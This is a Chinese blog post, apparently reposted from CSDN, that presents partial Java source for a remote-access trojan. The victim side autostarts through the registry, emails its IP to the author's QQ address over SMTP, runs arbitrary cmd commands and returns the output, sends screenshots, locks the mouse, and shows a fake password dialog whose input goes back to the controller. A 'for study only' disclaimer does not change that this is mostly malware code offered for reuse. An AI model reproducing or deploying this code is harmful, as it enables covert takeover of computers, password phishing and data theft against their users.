利用Java寫木馬程序(附源碼!)
這個小程序是很久以前寫的,現在發上來(僅供大家學習參考,不能用于任何非法行為~)
木馬定義:利用計算機程序漏洞侵入后竊取文件的程序程序被稱為木馬。它是一種具有隱藏性的、自發性的可被用來進行惡意行為的程序,多不會直接對電腦產生危害,而是以控制為主。
當然我寫的這個沒這么“強大”。。。
首先講下我的實現思路:
主要通過Socket和ServerSocket之間傳輸數據。
由于我沒有自己的一個服務器(沒有固定IP),所以在這個程序中,我把被控制端作為ServerSocket,.控制端為Socket。
要連接ServerSocket,首先要知道其的IP地址
這里我采用當程序啟動時,從ServerSoket端發送一份包含其IP信息的郵件到自己的郵箱。
隨后控制端就可以順利連接到ServerSoket端了。但是這里有個問題,就是到ServerSoket處于內網時,將無法順利連接
連接成功之后,我們就可以發送命令給ServerSoket。然后在ServerSoket那一端進行執行。
這里的執行包括ServerSoket進行相應的本地操作(具體操作的內容下面有說明),以及發送數據給我們能的控制端。
程序功能說明:
/*
* 本程序僅供學習參考使用。嚴禁使用本程序進行違法行為!
* 本程序功能
* 1、程序開機自動啟動(√)
* 2、自動發送郵件
* 3、執行dos命令,并將信息返回、這里可以執行關機等命令(√)
* 4、鎖定鼠標,這里通過一個線程實現
* 5、查看被控制端的桌面,將桌面畫面截圖并發送給控制端(√)
* 6、在被控制端彈出對話框,多種對話框模式(√)
* 7、讓被控制端閃屏(√)
* 本程序僅供學習參考使用。嚴禁使用本程序進行違法行為!
*/
下面給出一些程序運行的效果圖:
首先輸入IP地址進行連接,通過郵件我們可以知道被控制端的IP地址,下面看下郵件效果

然后我們就可以進行相應的操作了
如輸入-help,可以顯示本程序支持的命令。

這里演示下在被控制端彈出輸入密碼對話框
我們在控制端輸入-dinpass 親,請輸入的你密碼!
那么彈出的對話框效果如圖所示!

當被控制點擊確定時,將發送其輸入的密碼到控制端,我們可以看到效果。
我輸入的是123321

再演示個執行dos的關機命令。

其它功能如鼠標鎖定等,不方便控制演示。就留給大家自己探索!!!
下面附上代碼
由于代碼較多,這里上傳部分代碼
控制端部分代碼
ControlWin.java
import ...;
public class ControlWin {
Socket socket;
........
public ControlWin() {
in = new Scanner(System.in);
System.out.print("輸入IP:");
IP = in.nextLine().trim();
try {
socket = new Socket(IP, PORT);
....初始化其它信息
System.out.println("contected");
dos = new DataOutputStream(socket.getOutputStream());
dis = new DataInputStream(socket.getInputStream());
new Thread(new MyInputThread()).start();
go();
} catch (UnknownHostException e) {
e.printStackTrace();
return;
} catch (IOException e) {
e.printStackTrace();
return;
}
}
public void go() {//開始發送命令
while (true) {
System.out.println("intput commend:");
dosS = in.nextLine().trim();
if () {.......
} else if (dosS.endsWith("-help")) {
System.out
.println("-doutmsg msg 以對話框形式輸出信息\n"
+ "-dinmsg 彈出一個輸入對話框\n"
+ "-dinpass msg 彈出一個輸入密碼對話框+顯示信息msg\n"
+ "-flash msg 閃屏并顯示msg所表示的文字\n" + "-p:獲取圖片\n"
+ "-m l鎖定鍵盤 .....-m a取消鎖定\n"
+ "輸入其則執行相應的dos命令,如輸入ipconfig 則顯示相應的ip信息\n"
+ "exit:退出");
continue;
}
try {
dos.writeUTF(dosS);
} catch (IOException e) {
e.printStackTrace();
}
}
}
/*接受被控制端發送過來的圖片*/
public void getPic() {.....
while (true) {
try {
num = dis.read(imageData, 0, imageData.length);
fos.write(imageData, 0, num);
length -= num;
if (length == 0) {
break;
}
} catch (Exception e) {
try {
System.out.println("error");
fos.flush();
fos.close();
} catch (IOException e1) {
e1.printStackTrace();
}
break;
}
}....
}
public static void main(String[] args) {
new ControlWin();
}
class MyInputThread implements Runnable {接受被控制端返回的文本信息
public void run() {
while (true) {
..... }
}
}
}被控制端部分代碼
Test.java
public class Test {
ServerSocket serverSocket;
Socket socket;......
public Test() {
/*
在注冊表中設置開機自動運行 register();
以及發送郵件,主要是把自己的IP發出來,并進行一些初始化......
*/
go();
}
}
/* 在注冊表中設置開機自動運行 */
void go() {
while (true) {
/*
* 這里不斷的接受發送過來的命令然后根據命令執行相應的操作
* 如:(標有√,的是本程序已經實現的功能)
* 1、我們可以通過開啟一個線程通過robot鎖定鼠標(√)
* 2、執行dos命令(√)
* 3、傳輸被控制端的文件
* 4、查看被控制端的桌面(√)
* 5、在被控制端彈出對話框(√)
* 6、讓被控制端閃屏(√)
* 7、等等等等
* 具體的實現都在這里進行,當然這個需要和控制者那段的代碼相配合
* 同時自己設計好具體的命令
* */
try {
commendString = dis.readUTF().trim();
} catch (IOException e) {
System.out.println("leave");
break;
}
然后對commendString進行分析,執行相應的命令就是上面所描述的1,2,3...等等等命令
}
}
/*在注冊表注冊開機自動啟動*/
public void register() {
......
}
/*啟動線程鎖定鼠標*/
void mouseLock(String s) {
......
}
/*執行dos命令*/
void dosExe(String dosString) {
String command = "cmd /c " + dosString;
String s = null;
try {
process = r.exec(command);
bufferedReader = new BufferedReader(new InputStreamReader(process
.getInputStream()));
dos.writeUTF("1start");
while ((s = bufferedReader.readLine()) != null) {
s = s.trim();
dos.writeUTF(s);
}
dos.writeUTF("1end");
} catch (IOException e) {
e.printStackTrace();
}
}
/*發送圖片*/
void sendPic() {......
}
public static void main(String[] args) {
new Test();
}
/*獲取本地IP*/
String getIP() {
String ipString = "";
Enumeration<NetworkInterface> netInterfaces = null;
try {
netInterfaces = NetworkInterface.getNetworkInterfaces();
while (netInterfaces.hasMoreElements()) {
NetworkInterface ni = netInterfaces.nextElement();
ipString = ipString + ni.getDisplayName() + "\n";
ipString = ipString + ni.getName() + "\n";
Enumeration<InetAddress> ips = ni.getInetAddresses();
while (ips.hasMoreElements()) {
ipString = ipString + ips.nextElement().getHostAddress()
+ "\n";
}
}
} catch (Exception e) {
e.printStackTrace();
}
return ipString;
}
/*顯示消息對話框*/
class ShowDialogThread extends Thread {......
}
class MouseLockThread extends Thread {......
}
// 這里可以啟動其它的應用程序
class OtherApp extends Thread {
}
/*下面兩個類用于文件復制*/
class JarUtil {......
}
class MyCopy {
public int fileCopy(String sFile, String oFile) {......
}
}
/*
* 發送郵件部分 需要一兩個郵箱,一個是發送方郵箱,一個是接受郵箱
*/
class SMail {
boolean sended = false;
Properties props;
Session session;
Message msg;
Transport transport;
public void send(String s) {
try {
// System.out.println(s);
props = new Properties();
props.setProperty("mail.smtp.auth", "true");
props.setProperty("mail.transport.protocol", "smtp");
session = Session.getDefaultInstance(props);
// session.setDebug(true);
msg = new MimeMessage(session);
msg.setSubject("ip");
msg.setText(s);
/*xxxxxxxxxxxxxxxx為發送方郵箱用戶名*/
msg.setFrom(new InternetAddress("xxxxxxxxxxxxxxxx@sina.com"));
transport = session.getTransport();
/*xxxxxxxxxxxxxxxx為發送方郵箱用戶名、
*yyyyyyyyy為發送方郵箱密碼*/
transport.connect("smtp.sina.com", 25, "xxxxxxxxxxxxxxxx", "yyyyyyyyy");
transport.sendMessage(msg, new Address[] { new InternetAddress(
"496977458@qq.com") });
transport.close();
sended = true;
} catch (Exception e) {
}
}
public SMail() {
sended = false;
}
}
/*密碼輸入框*/
class MyDialogPassInput extends JDialog {......
}
/*閃屏*/
class Flash {......
}
/*輸入對話框*/
class MyDialogMsgInput extends JDialog {
JTextField text;
JButton sureButton;
String string;
public MyDialogMsgInput(String s) {......
}
}
轉自:http://blog.csdn.net/leasystu/article/details/7268402
附上完整源碼地址